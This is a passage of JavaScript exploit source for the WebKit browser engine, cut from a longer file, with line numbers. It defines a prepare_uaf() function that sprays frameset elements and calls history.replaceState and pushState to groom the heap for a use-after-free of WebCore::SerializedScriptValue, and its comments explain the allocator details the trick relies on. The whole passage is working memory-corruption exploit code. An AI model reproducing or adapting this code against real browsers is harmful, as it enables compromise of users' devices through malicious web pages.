| 136 | } |
| 137 | |
| 138 | function prepare_uaf() { |
| 139 | const fsets = []; |
| 140 | const indices = []; |
| 141 | |
| 142 | function alloc_fs(fsets, size) { |
| 143 | for (let i = 0; i < size / 2; i++) { |
| 144 | const fset = document.createElement("frameset"); |
| 145 | fset.rows = rows; |
| 146 | fset.cols = rows; |
| 147 | fsets.push(fset); |
| 148 | } |
| 149 | } |
| 150 | |
| 151 | // the first call to either replaceState/pushState is likely to allocate a |
| 152 | // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents |
| 153 | // the SmallLine where the SSV resides from being freed. so we do a dummy |
| 154 | // call first |
| 155 | history.replaceState("state0", ""); |
| 156 | |
| 157 | alloc_fs(fsets, num_fsets); |
| 158 | |
| 159 | // the "state1" SSVs is what we will UAF |
| 160 | |
| 161 | history.pushState("state1", "", `${original_loc}#bar`); |
| 162 | indices.push(fsets.length); |
| 163 | |
| 164 | alloc_fs(fsets, num_spaces); |
| 165 | |
| 166 | history.pushState("state1", "", `${original_loc}#foo`); |
| 167 | indices.push(fsets.length); |
| 168 | |
| 169 | alloc_fs(fsets, num_spaces); |
| 170 | |
| 171 | history.pushState("state2", ""); |
| 172 | return [fsets, indices]; |
| 173 | } |
| 174 | |
| 175 | // WebCore::SerializedScriptValue use-after-free |
| 176 | // |